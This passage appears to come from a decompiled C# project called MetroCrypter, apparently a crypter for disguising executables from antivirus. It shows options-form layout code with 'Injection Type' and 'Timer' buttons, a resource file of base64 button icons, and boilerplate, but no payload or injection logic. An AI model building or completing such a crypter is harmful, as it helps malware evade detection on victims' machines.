this.button5.Font = new System.Drawing.Font("Arial", 6.75f, FontStyle.Regular, GraphicsUnit.Point, 0);
this.button5.Image = (Image)componentResourceManager.GetObject("button5.Image");
this.button5.Location = new Point(12, 303);
this.button5.Name = "button5";
this.button5.Size = new System.Drawing.Size(153, 126);
this.button5.TabIndex = 52;
this.button5.TextImageRelation = TextImageRelation.ImageAboveText;
this.metroToolTip1.SetToolTip(this.button5, "Injection Type");
this.button5.UseVisualStyleBackColor = false;
this.button5.Click += new EventHandler(this.button5_Click_1);
this.button6.AllowDrop = true;
this.button6.BackColor = Color.FromArgb(85, 94, 102);
this.button6.BackgroundImageLayout = ImageLayout.None;
this.button6.FlatAppearance.BorderSize = 0;
this.button6.FlatAppearance.MouseOverBackColor = Color.FromArgb(64, 71, 77);
this.button6.FlatStyle = FlatStyle.Flat;
this.button6.Font = new System.Drawing.Font("Arial", 6.75f, FontStyle.Regular, GraphicsUnit.Point, 0);
this.button6.Image = (Image)componentResourceManager.GetObject("button6.Image");
this.button6.Location = new Point(171, 303);
this.button6.Name = "button6";
this.button6.Size = new System.Drawing.Size(153, 126);
this.button6.TabIndex = 53;
this.button6.TextImageRelation = TextImageRelation.ImageAboveText;
this.metroToolTip1.SetToolTip(this.button6, "Timer");
this.button6.UseVisualStyleBackColor = false;
this.button6.Click += new EventHandler(this.button6_Click);
this.IcoLoad.AllowDrop = true;
this.IcoLoad.BackColor = Color.FromArgb(85, 94, 102);
this.IcoLoad.BackgroundImageLayout = ImageLayout.None;
this.IcoLoad.FlatAppearance.BorderSize = 0;
this.IcoLoad.FlatAppearance.MouseOverBackColor = Color.FromArgb(64, 71, 77);
this.IcoLoad.FlatStyle = FlatStyle.Flat;
this.IcoLoad.Font = new System.Drawing.Font("Arial", 6.75f, FontStyle.Regular, GraphicsUnit.Point, 0);
this.IcoLoad.Image = (Image)componentResourceManager.GetObject("IcoLoad.Image");
this.IcoLoad.Location = new Point(171, 39);
this.IcoLoad.Name = "IcoLoad";
this.IcoLoad.Size = new System.Drawing.Size(153, 126);
this.IcoLoad.TabIndex = 36;
this.IcoLoad.TextImageRelation = TextImageRelation.ImageAboveText;
this.metroToolTip1.SetToolTip(this.IcoLoad, "Load .ico");
this.IcoLoad.UseVisualStyleBackColor = false;
this.IcoLoad.Click += new EventHandler(this.button5_Click);
this.metroToolTip1.set_Style(4);
this.metroToolTip1.set_StyleManager(null);
this.metroToolTip1.set_Theme(1);
base.AutoScaleDimensions = new SizeF(6f, 13f);
base.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font;
this.BackColor = Color.FromArgb(33, 35, 38);
base.ClientSize = new System.Drawing.Size(336, 441);
base.Controls.Add(this.button6);
base.Controls.Add(this.button5);
base.Controls.Add(this.button3);
base.Controls.Add(this.button2);
base.Controls.Add(this.ils);
base.Controls.Add(this.ExeLoad);
base.Controls.Add(this.button1);
base.Controls.Add(this.IcoLoad);
this.ForeColor = Color.Transparent;
base.FormBorderStyle = System.Windows.Forms.FormBorderStyle.None;
base.MaximizeBox = false;
this.MaximumSize = new System.Drawing.Size(336, 441);
this.MinimumSize = new System.Drawing.Size(336, 441);
base.Name = "Options";
base.ShowIcon = false;
base.ShowInTaskbar = false;
base.SizeGripStyle = System.Windows.Forms.SizeGripStyle.Hide;
base.StartPosition = FormStartPosition.CenterScreen;
this.Text = "Options";
base.Load += new EventHandler(this.Options_Load);
base.ResumeLayout(false);
base.PerformLayout();
}
private void Options_Load(object sender, EventArgs e)
{
this.ExeLoad.Text = string.Concat("\n", Form1.CID.filename);
this.ExeLoad.ImageAlign = ContentAlignment.BottomCenter;
this.IcoLoad.Text = string.Concat("\n", Form1.CID.iconame);
this.IcoLoad.ImageAlign = ContentAlignment.BottomCenter;
}
protected override void WndProc(ref Message m)
{
base.WndProc(ref m);
if (m.Msg == 132)
{
m.Result = (IntPtr)2;
}
}
}
}
@@ -0,0 +1,265 @@
<?xml version="1.0" encoding="utf-8"?>
<root>
<!--
Microsoft ResX Schema
Version 2.0
The primary goals of this format is to allow a simple XML format
that is mostly human readable. The generation and parsing of the
various data types are done through the TypeConverter classes
associated with the data types.
Example:
... ado.net/XML headers & schema ...
<resheader name="resmimetype">text/microsoft-resx</resheader>
<resheader name="version">2.0</resheader>
<resheader name="reader">System.Resources.ResXResourceReader, System.Windows.Forms, ...</resheader>
<resheader name="writer">System.Resources.ResXResourceWriter, System.Windows.Forms, ...</resheader>
<data name="Name1"><value>this is my long string</value><comment>this is a comment</comment></data>
<data name="Color1" type="System.Drawing.Color, System.Drawing">Blue</data>
<data name="Bitmap1" mimetype="application/x-microsoft.net.object.binary.base64">
<value>[base64 mime encoded serialized .NET Framework object]</value>
</data>
<data name="Icon1" type="System.Drawing.Icon, System.Drawing" mimetype="application/x-microsoft.net.object.bytearray.base64">
<value>[base64 mime encoded string representing a byte array form of the .NET Framework object]</value>
<comment>This is a comment</comment>
</data>
There are any number of "resheader" rows that contain simple
name/value pairs.
Each data row contains a name, and value. The row also contains a
type or mimetype. Type corresponds to a .NET class that support
text/value conversion through the TypeConverter architecture.
Classes that don't support this are serialized and stored with the
mimetype set.
The mimetype is used for serialized objects, and tells the
ResXResourceReader how to depersist the object. This is currently not
extensible. For a given mimetype the value must be set accordingly:
Note - application/x-microsoft.net.object.binary.base64 is the format
that the ResXResourceWriter will generate, however the reader can
read any of the formats listed below.
mimetype: application/x-microsoft.net.object.binary.base64
value : The object must be serialized with
: System.Runtime.Serialization.Formatters.Binary.BinaryFormatter
: and then encoded with base64 encoding.
mimetype: application/x-microsoft.net.object.soap.base64
value : The object must be serialized with
: System.Runtime.Serialization.Formatters.Soap.SoapFormatter
: and then encoded with base64 encoding.
mimetype: application/x-microsoft.net.object.bytearray.base64
value : The object must be serialized into a byte array
: using a System.ComponentModel.TypeConverter
: and then encoded with base64 encoding.
-->
<xsd:schema id="root" xmlns="" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:msdata="urn:schemas-microsoft-com:xml-msdata">
<xsd:import namespace="http://www.w3.org/XML/1998/namespace" />
<xsd:element name="root" msdata:IsDataSet="true">
<xsd:complexType>
<xsd:choice maxOccurs="unbounded">
<xsd:element name="metadata">
<xsd:complexType>
<xsd:sequence>
<xsd:element name="value" type="xsd:string" minOccurs="0" />
</xsd:sequence>
<xsd:attribute name="name" use="required" type="xsd:string" />
<xsd:attribute name="type" type="xsd:string" />
<xsd:attribute name="mimetype" type="xsd:string" />
<xsd:attribute ref="xml:space" />
</xsd:complexType>
</xsd:element>
<xsd:element name="assembly">
<xsd:complexType>
<xsd:attribute name="alias" type="xsd:string" />
<xsd:attribute name="name" type="xsd:string" />
</xsd:complexType>
</xsd:element>
<xsd:element name="data">
<xsd:complexType>
<xsd:sequence>
<xsd:element name="value" type="xsd:string" minOccurs="0" msdata:Ordinal="1" />
<xsd:element name="comment" type="xsd:string" minOccurs="0" msdata:Ordinal="2" />
</xsd:sequence>
<xsd:attribute name="name" type="xsd:string" use="required" msdata:Ordinal="1" />
<xsd:attribute name="type" type="xsd:string" msdata:Ordinal="3" />
<xsd:attribute name="mimetype" type="xsd:string" msdata:Ordinal="4" />
<xsd:attribute ref="xml:space" />
</xsd:complexType>
</xsd:element>
<xsd:element name="resheader">
<xsd:complexType>
<xsd:sequence>
<xsd:element name="value" type="xsd:string" minOccurs="0" msdata:Ordinal="1" />
</xsd:sequence>
<xsd:attribute name="name" type="xsd:string" use="required" />
</xsd:complexType>
</xsd:element>
</xsd:choice>
</xsd:complexType>
</xsd:element>
</xsd:schema>
<resheader name="resmimetype">
<value>text/microsoft-resx</value>
</resheader>
<resheader name="version">
<value>2.0</value>
</resheader>
<resheader name="reader">
<value>System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
</resheader>
<resheader name="writer">
<value>System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
</resheader>
<assembly alias="System.Drawing" name="System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a" />
<data name="ExeLoad.Image" type="System.Drawing.Bitmap, System.Drawing" mimetype="application/x-microsoft.net.object.bytearray.base64">
<value>
iVBORw0KGgoAAAANSUhEUgAAADIAAAAyCAYAAAAeP4ixAAAABGdBTUEAALGPC/xhBQAAAqhJREFUaEPt
mD1oFVEQhYMiWNgJdpZBgoWVIAFBQUEJNoLYWtnaW0gwRcTO1lqxsVAsRW0txEJQRMT/QhsFUVER45m9
3zxe4su7mZe7MIF8cNjd2TlzZ9i9L0umNtlILPXHNWkby/RPWbM37ks7WKpfynq9cInjPan/Ycpa7aH2
fLlaeizt6hbsi7JOeyg/PMxzaTfh9pQ12kP5Dl36MG+kacJtKfXbQ/kBCvkwH6V9hNtRareH8stQ2If5
Is0SbkOp2x7K/4du+TDfpKOE10+p2R7Kj0S3fZif0knC66PUaw/lV0UpPswf6QzhySm12kP5sSjNh/kr
nSM8GaVOeyhfRak+jDFPOA4FmkP5NaF0/5wJ+ZaBPw20FQd/GmgrDv400FYc/GmgrTj400BbcfCngbbi
4E8DbcXBX+O1ZL/1w3rL8YpkfJLs+rrk94b1WapCW3Hw17hL+gDFXkkznD+TrnK+KD2w82EUeyFVIT0O
/hrdIDoesHP0Q1ogflk6LW2R3kndIDrulzz/u1TFfBOBv4YPcqJcDvggbZVmpZ3SccnwQfx6zZhvIvDX
8EFmJH/n7YvVONQVEjq/UUKDQfZInm+f61W6QpOAv8aoPeKNLXJtr9XXLjJ6j/wqt8ZDehz8NfyJHJQe
IX8ih7tCQue3SmjwROyVW5k/lq7QJOCvsdoesY1tT2KO+3MWFOn3yDHJ/h6Yfkv+Wt2W9kq28d9LPsgR
yfPzvFrDKGav0bS0XbL/iFwkfkEatUduSlVIj4O/xhPp1Ard4XheMl5KZ6UF6am0Mv+hVIW24uBPA23F
wZ8G2oqDPw20FQd/GmgrDv400FYc/GmgrTj400BbcfCngbbi4E8DbcXBnwbaioM/DbQVB38aaCsO/jTQ
Vhz8aaCtTTYAU1P/ADYCh8LyV6owAAAAAElFTkSuQmCC
</value>
</data>
<data name="button5.Image" type="System.Drawing.Bitmap, System.Drawing" mimetype="application/x-microsoft.net.object.bytearray.base64">
<value>
iVBORw0KGgoAAAANSUhEUgAAADIAAAAyCAYAAAAeP4ixAAAABGdBTUEAALGPC/xhBQAAAtlJREFUaEPd
mDur1EAYhlcsbBU8IAdRRBTlNGqhpY0/wFYbCy8g/gCt1E7/gtirWNvYWFioqIhX8IJ3xCuCP0DX5/0y
syebnezZ5CSTyXngZWcnIe/37mRmkh2kyHA4vI3uoznX1U9cCPEU9TcMxa9Fj5UEXqF5d6hfUPgW9Fkp
HP0LQ8EK8VHVF+hPGAotC+HpNgzmS65CHFsqhKe7MBhPXYXomzWEp5swmGoV8mHGiqBdNYSn0zCPVAG8
QVYEn0fQP3XWIH4YDOfQc7k73iIf5ij6q84Z0R7zImsO75lBDDCbRy/Ndpx3qGqYh2gd0g9zF90yk7bB
qCyE5z3yYY6habeZhbALxwRT/WpPVAHotvqVNSfIhzmOQmGSCKFldz3ag36rI8C0MEmEEFqlNrpje9Ef
dQbIhzmBFKazEGVz4hPa6s7ZhWYZGc2ZDWpHBdP8SHxBxWK15G5y5x60njCjpTk6GOdDaFIvoN2unUdL
7k50yL6VEz8MhsU58Q0tuGP7rKcer1GcMBgVQ3h+IIXYb9/q0/5jCAb5EHqjK5vAdbiJHmTNFsPowsiv
TjaJke79r+pYJlfRaqQfSnuQaP6ZiosWbyft2rZM8hma4FW4gdaYEdCWV/PPVFywbJ/4gLa5c3YgLb9V
sZEwozbBJD8SoX1CL0jb3blVV6uxkWgNTPIhpu0TmiN6DKmyWnUSQjS1T4jOQnia2Cc6CdH0PhEtROv7
hLNqF4zumGVGa/tE62D23WwX0QPcZndM7xM/1VmRuCEEhtfNepz094kimJ4y+0nS3SdCYKyJ3QTxJnYI
zFeh5a5Q3YbwUMQ1K6ceaYQQFHLSSqpOOiEExVy2sqqRXIgzVlY1uludQlDMRStrkbPoAFK//vkL/Wue
3EgUQ5x2h0bQp+eww+gSeoauoKRHYiJE8lD0ighxPqt9RP9CCFe854Lr7h8ugOjnSHhWRAhBiHOu2VMG
g/+GHXnhyhkaKAAAAABJRU5ErkJggg==
</value>
</data>
<data name="button1.BackgroundImage" type="System.Drawing.Bitmap, System.Drawing" mimetype="application/x-microsoft.net.object.bytearray.base64">
<value>
iVBORw0KGgoAAAANSUhEUgAAABkAAAAZCAYAAADE6YVjAAAABGdBTUEAALGPC/xhBQAAASJJREFUSEvt
lbtKxFAURdNON4qOaGM7rd+q/sAU8y8+KkXQ/xDEKq4V9wUxY8ydpJwFm0vOOftsyIM0B/ambdsFukan
KVWBbxX/IqU+NG+RPKGqIOYNeNYMNyn3oblE991Y276hi7QGcS7zcoeWae3GATQ6yH7mRN9wQMHBGOTP
IOvpy/iAgoYYpRfkdepSH1DQmAXyirogTzQ9oOCCLBKDrtB8AQUXoQe3wmfO+QIKLFyjD7fnXKc1Dyz8
+Qzec3rrzjMyDRb9fsiXqNy66UEs2PkWeaLpQRgHX1Ov0f5BGEZ9B9SPUH0Qg6MCCvTrghgwwEH5N6DA
nEGPmmA4iOa2G/v+L6xSHgXzZ+hFM2xS7kPzBBlUFVDAZ5D+45QO1NI0X5iLShm3Ctw+AAAAAElFTkSu
QmCC
</value>
</data>
<data name="IcoLoad.Image" type="System.Drawing.Bitmap, System.Drawing" mimetype="application/x-microsoft.net.object.bytearray.base64">
<value>
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
</value>
</data>
<data name="button2.Image" type="System.Drawing.Bitmap, System.Drawing" mimetype="application/x-microsoft.net.object.bytearray.base64">
<value>
iVBORw0KGgoAAAANSUhEUgAAADQAAAA0CAYAAADFeBvrAAAABGdBTUEAALGPC/xhBQAABAZJREFUaEPV
ml2IFWUYgPcn1t1IUQjdMm1dUEyD2MoEQyEQlgQRVljU3Vux6C4rKjISwVLRCxHv8iZpcV2oZHMF/xH0
RtDF6O+mC6kMqUSjUqTT877zzpxv55w5e37mzM8DD3vm+7753vflzMz5ZmZbskyhUOjCbXge/8RpsV2z
B7m9gj9pljVgu2cL8hrCB5phjdgU2YGchvGhZlcHNk02IJ9yxfyH+3CRDUsXEunEV1EOo4XWXAJ9z2K4
GNketiHpQzJL8YZkZvyDb1jfDFyHH2KHtb2JPnIObZT2TEAyz+CvklkZLuFd76PyFfpFbcfMFfMC/oG1
cAo7bf/ndKIsQDL1FONzEmfYVOlDMosx6jCrlkM2XfqQzAkvp4b42KZLH5I54uXUECttuvQhmdl4VdOq
j9+w1aZLD5KYIzqfGynqHZ00LUigG7/FSXzc2hotakAnTxoCP4HfaQoecRU1qgGShKDhYnziKGpSgyQF
AaWY7zV0edyiZuEVaayBv7FNgzUbAj2JlYrxabSoyJV5bBCk2mJ8GilqrQZtFgSQYn7QULVRb1Gva+Bm
wORz0b2vKYcsSL/E43hTGhzkwuD/TlVb1AENHjdMXE0xn+JM20X2eQTfQ/cOtNaixnWyOGHSefiNTh/N
bhteAn2bMaqo6S7pEzpJXDDhfPxRp47mbRseQFsb9qF/3gyg+0iq2t+pIRkTC0z2FE5XzHYbHkCbPBAZ
195C4TYusfZai4p3PceEe7x5I3nfhgbQ9iie1l6P+3gO/dvqT6TRwT38ZJV+GL/GQWmLFSaVk/oYlmOv
DQugTZ5BX8CfpR9Xoxbiw/Zb6CIL2nnW3XwIJkWNSuQQfTYkgLZB7Md2a5oC7c+j+7A9mWIIsgz3o95k
8VeKGkOXkm+oEoyXC8TvuqeHFNNt3c2DIE/jLxIRgqT53I6faWuRj6y7Iox7Ce/oHh7BedN0CHRWQxZ5
zbrqKor+FegeZokWs15DTuWgdStsS1FHtadI2aJofxHTKUYgWHg1MIEl9yO0daA8tnV517oVtpfjLe3x
SOac8SGYXIFc/sVe6y6BPikq/Pztc5S3CzvxL2kwki1GIOAuDV1kzLoiYYwcfiM6OppkDzMfgsoLWZct
1lURxsnrkC90j1KuY7LfjA+Bwzdtuv6qBsa24la8jLJ2u4Y7sMuGJA/B76HLY9aVTyhALgIu2XmdUQ8U
EH790WNd+YQCLnp1BMS/fE8SCpBX5i4j1pVPKGCVV0eA3FlG/rBmHpKXS2+5pU/672nqheQ3aRlTmbJG
yxUkL9+S3EK7yL+kfID5/KZIvBfl1z7MBhuSP0j+ZXRXy2cwv+eSQAFrUJ5Tyw3aAmvONxTSg/22mSNa
Wv4HXGoMAZ8CJg4AAAAASUVORK5CYII=
</value>
</data>
<data name="button3.Image" type="System.Drawing.Bitmap, System.Drawing" mimetype="application/x-microsoft.net.object.bytearray.base64">
<value>
iVBORw0KGgoAAAANSUhEUgAAADQAAAA0CAYAAADFeBvrAAAABGdBTUEAALGPC/xhBQAAAjBJREFUaEPt
ls8qRVEYxW/5M1OUwlAp4k3wBhIjRSYGQhGPwEB4C1Fk5AGUkf8i3RhiQP4kXes7e53tdDhs935bp9v+
1Zqctb+19tV3j1sIBAKBQCAQ0KdUKtVCE9A+dAdVimRIlmTWsuZ/QGENtAH5YhOqYZ1/UDYV1fplhnV+
QVEj9BBV+uURamKtP1AyGtV9cgu10y4bZHRA9xKYYIy2P1CyZ7osk7QqBlnTJtKyR8sPKOgyPZY3qIV2
xSCrjZlJOmnrg/A502HZoqUGMrdNtGWWlj4IPzQdlmFaaiBzyERbDmjpguAek295hRppqyGZ0IsUJOim
rQdCF0y2ZYeWOshO/9Oep6UHQtPrNkJLHWQPmgqL7tohML1u8iZqpq0OshugZylKoLd2CEuv2y4tb6Bj
3VRZ9NYOYel1G6flDXQMmCqLztohKL1u71ArbW+gQ9buSQoTlL92GO6DLqOYfHEB9fKa7mCoGI3nkyte
0x0O5hZe0x3OpTmDVqE16FweeOLXHl7THc4lWYbqaYtfD62IoYxTD213OBdzDNXRsuCZlJ3KASWce2i5
w7mYRT7+Arwlc0QF5x4+dodzMVX3gY6grFU4kQNKOPfQcodzSarqpRBTVa/tXMFruoOZazOaS4q8pjsY
kh+nN9F4vpA/9N9/nMaYjGx4TA3GZsJj5cOcTHhMDcZmwmPlg4yfvkt/3+VfQKbfPoT0Q999lyrb5QyQ
+a99gUAgEAjoUSh8AElCU3uOQlBwAAAAAElFTkSuQmCC
</value>
</data>
<data name="button6.Image" type="System.Drawing.Bitmap, System.Drawing" mimetype="application/x-microsoft.net.object.bytearray.base64">
<value>
iVBORw0KGgoAAAANSUhEUgAAADQAAAA0CAYAAADFeBvrAAAABGdBTUEAALGPC/xhBQAABUJJREFUaEPd
mlmsXVMYx29bpQMqFcNTE4kH4UUIWiXioaZUhAfxICREgrpUdBAJD00kGmljeFASvNSDDoR6MgsiaFWj
iggpD8YYYo7p+v3X+nbPOXettc/a6+x9I/0l/+Scb33ft/a+d83rjLXNxMTE0egcdCO6Hz2CNpn0WbZx
tAQdZWH/H3io6ehs9CD6EDVlD3oAnYWmWdqph8oPRavRZ6gt9qKV6BCrpnuobCa6Df2AuuJ7tArNtGq7
gQoWot1oqtiFTrHq24Ok05Ca119oqvkTrUDt9C8SzUJPoBx+Q9vQDeh0pBHvTVShz7KpTCPdM+h3lMNm
dJA9VhkkUMd/WdmG8A66Cs2z0H1g2yoHY6uZ94FtHroa7ZTDEF5AZQMGgbPRK8pSw/voXAuJQvkC9Lhp
gZmjUH4++gDV8SKaZSF5EKC55SlFJ/gHrUGtj0LkPBDdif5FKbag/D6Fs4blFD+hC8w1C/z1kI1eHv+l
6GeUYoW51oPjIpQazb5EJ5prFvgfhzRnfYeONXMW+J+EvkIxNPrVD+k4aNJUv4ihye54c82GmJtctOd6
M2dDzAkoNYlrTkz/5ylc7txC1J6XmlsjiLvDZfCsNnMjiLsIpfpU/I9EwVz0jXMJWWtujSH2bp/CscbM
jSF2nU8RoG4w29x6YLzFFYd8jJoNk30Qu8Fl8awzc2OI1TTyqcsSstzcPBi0tEk5X2huRRD/mE/j2GDm
Ioi/2KcJ0B+9N4zzRXuRGK+bSzHkeNqncmw0czHkeMunClhsLs7pPm8LuNxciiHHSz6V40kzF0OOK32q
gPXm4pxiy40fUXHfqSDHdpfN86yZiyGHBq/YhLu7ctDqNzYkBgvJEsjzkU/nGLkJC/L0N+MKvcMRKjzP
fQ0Zt/iRIM8XPp1jl5lHgjyp+XJJXeFCiy+GHFp5/OGyeb5FB1hxMeRY7LKFjKvwXv854HCLL4J4vcxr
LtMg2pKM9FLEH+kyhaxX4aP+8wBqj+rMQ/cwKYhLTdRicCLMhLhqb6Vni/X7h+WkrW0dWyxfI4h73odH
2WFujSCuf/cbY5OctFmqo2i0I67uhf5GJ5trNsQMe6HNcko1uedQV01OaFF5jLlngX/V5PRsySbX5aDw
qsuURhN643qIqR0UdKgeo7c2KoQceqmbkU6OfkEx3kZzLSQL/M90kSHLVNjpxFpBvvkoNowLnc9lD+X4
1k6snS59+iHnHKSDyBgPmdtQ8E0vfczhPWca5FfU+i0AOWcgXZ/EuNXckuBzGIqdtu40F+fU2fYhBbl1
Vj65Zej7FeYShfKs7cOp3hbwLursEorcOgPXnNSP/vqLzGUA7DoATZ1K9eY1vmgL3r/M72ekLfgwyH8J
mtyEtlnxANhTW/A95tID43W+LEA3dI2G1aaQ/wykg8iK4HQI28Hoc1caco259cCoEehrVxxSfIyVC3Xo
hHUjuh0F1ybYUsdY2m/Fd9YUtH7Q2AbU3fygUVCoIVV3PTF0mRXtrF1CnbocU90x3kDTzTUODq0e1o8C
dY12WF+B47DrlM6bH3WomY1+nSJwHnbhpfZ8D5pjIa1BTh1T6dcmqT4jml14CQJyriQ1pF+Kku2Ysqwr
SeVAl6HU0FzR/EqygsDcS2OtBXMujYPtPLbq0ji1Auin/NK4ggT7z7V+BYn2nx9e9EPS01DO7wnaYgdq
/6cx/VCBJt9lKDU/tIGWM9eiGVZt91CZ1n462UldlJXwCdIZRHjFOJXwANpPrUVqjnXzx2T0Aw4tte5C
3TatUngwHTHl/kTTnwG0xtjYf6z8y49ci5AQAAAAAElFTkSuQmCC
</value>
</data>
</root>
@@ -0,0 +1,16 @@
using System;
using System.Windows.Forms;
namespace MetroCrypter
{
internal static class Program
{
[STAThread]
private static void Main()
{
Application.EnableVisualStyles();
Application.SetCompatibleTextRenderingDefault(false);
Application.Run(new Form1());
}
}
}
@@ -0,0 +1,36 @@
using System.Reflection;
using System.Runtime.CompilerServices;
using System.Runtime.InteropServices;
// General Information about an assembly is controlled through the following
// set of attributes. Change these attribute values to modify the information
// associated with an assembly.
[assembly: AssemblyTitle("MetroCrypter")]
[assembly: AssemblyDescription("")]
[assembly: AssemblyConfiguration("")]
[assembly: AssemblyCompany("")]
[assembly: AssemblyProduct("MetroCrypter")]
[assembly: AssemblyCopyright("Copyright © 2016")]
[assembly: AssemblyTrademark("")]
[assembly: AssemblyCulture("")]
// Setting ComVisible to false makes the types in this assembly not visible
// to COM components. If you need to access a type in this assembly from
// COM, set the ComVisible attribute to true on that type.
[assembly: ComVisible(false)]
// The following GUID is for the ID of the typelib if this project is exposed to COM
[assembly: Guid("fdfd0732-e42e-404f-91ec-0d73c391cf22")]
// Version information for an assembly consists of the following four values:
//
// Major Version
// Minor Version
// Build Number
// Revision
//
// You can specify all the values or you can default the Build and Revision Numbers
// by using the '*' as shown below:
// [assembly: AssemblyVersion("1.0.*")]
[assembly: AssemblyVersion("1.0.0.0")]
[assembly: AssemblyFileVersion("1.0.0.0")]
@@ -0,0 +1,58 @@
using System;
using System.CodeDom.Compiler;
using System.ComponentModel;
using System.Diagnostics;
using System.Globalization;
using System.Resources;
using System.Runtime.CompilerServices;
namespace MetroCrypter.Properties
{
[CompilerGenerated]
[DebuggerNonUserCode]
[GeneratedCode("System.Resources.Tools.StronglyTypedResourceBuilder", "4.0.0.0")]
public class Resources
{
private static System.Resources.ResourceManager resourceMan;
private static CultureInfo resourceCulture;
[EditorBrowsable(EditorBrowsableState.Advanced)]
public static CultureInfo Culture
{
get
{
return MetroCrypter.Properties.Resources.resourceCulture;
}
set
{
MetroCrypter.Properties.Resources.resourceCulture = value;
}
}
[EditorBrowsable(EditorBrowsableState.Advanced)]
public static System.Resources.ResourceManager ResourceManager
{
get
{
if (MetroCrypter.Properties.Resources.resourceMan == null)
{
MetroCrypter.Properties.Resources.resourceMan = new System.Resources.ResourceManager("MetroCrypter.Properties.Resources", typeof(MetroCrypter.Properties.Resources).Assembly);
}
return MetroCrypter.Properties.Resources.resourceMan;
}
}
public static string thegoofstuff
{
get
{
return MetroCrypter.Properties.Resources.ResourceManager.GetString("thegoofstuff", MetroCrypter.Properties.Resources.resourceCulture);
}
}
internal Resources()
{
}
}
}
@@ -0,0 +1,610 @@
<?xml version="1.0" encoding="utf-8"?>
<root>
<!--
Microsoft ResX Schema
Version 2.0
The primary goals of this format is to allow a simple XML format
that is mostly human readable. The generation and parsing of the
various data types are done through the TypeConverter classes
associated with the data types.
Example:
... ado.net/XML headers & schema ...
<resheader name="resmimetype">text/microsoft-resx</resheader>
<resheader name="version">2.0</resheader>
<resheader name="reader">System.Resources.ResXResourceReader, System.Windows.Forms, ...</resheader>
<resheader name="writer">System.Resources.ResXResourceWriter, System.Windows.Forms, ...</resheader>
<data name="Name1"><value>this is my long string</value><comment>this is a comment</comment></data>
<data name="Color1" type="System.Drawing.Color, System.Drawing">Blue</data>
<data name="Bitmap1" mimetype="application/x-microsoft.net.object.binary.base64">
<value>[base64 mime encoded serialized .NET Framework object]</value>
</data>
